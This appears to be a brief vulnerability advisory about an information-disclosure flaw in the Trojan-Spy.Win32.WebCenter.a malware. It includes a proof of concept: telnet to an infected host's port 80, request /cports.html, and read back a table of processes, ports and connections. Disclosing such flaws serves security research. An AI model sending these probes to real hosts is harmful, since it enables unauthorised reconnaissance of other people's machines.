Trojan-Spy.Win32.WebCenter.a Information Disclosure

Trojan-Spy.Win32.WebCenter.a Information Disclosure

Trojan-Spy.Win32.WebCenter.a malware suffers from an information leakage vulnerability.

Exploit/PoC:

1
2
3
4
5
6
7
8
TELNET INFECTED_HOST 80

GET /cports.html HTTP/1.1

Process Name  Process ID  Protocol  Local Port  Local Port Name  Local Address  Remote Port  Remote Port Name  Remote Address  State  Process Path  Product Name  File Description  File Version  Company  Process Created On  User Name  Process Services
Unknown  0  TCP  80  http  0.0.0.0        0.0.0.0  Listening            N/A  
Unknown  0  TCP  80  http  x.x.x.x  13497     x.x.x.x  Time Wait         N/A  
Unknown  0  TCP  80  http  x.x.x.x  13498     x.x.x.x  Time Wait         N/A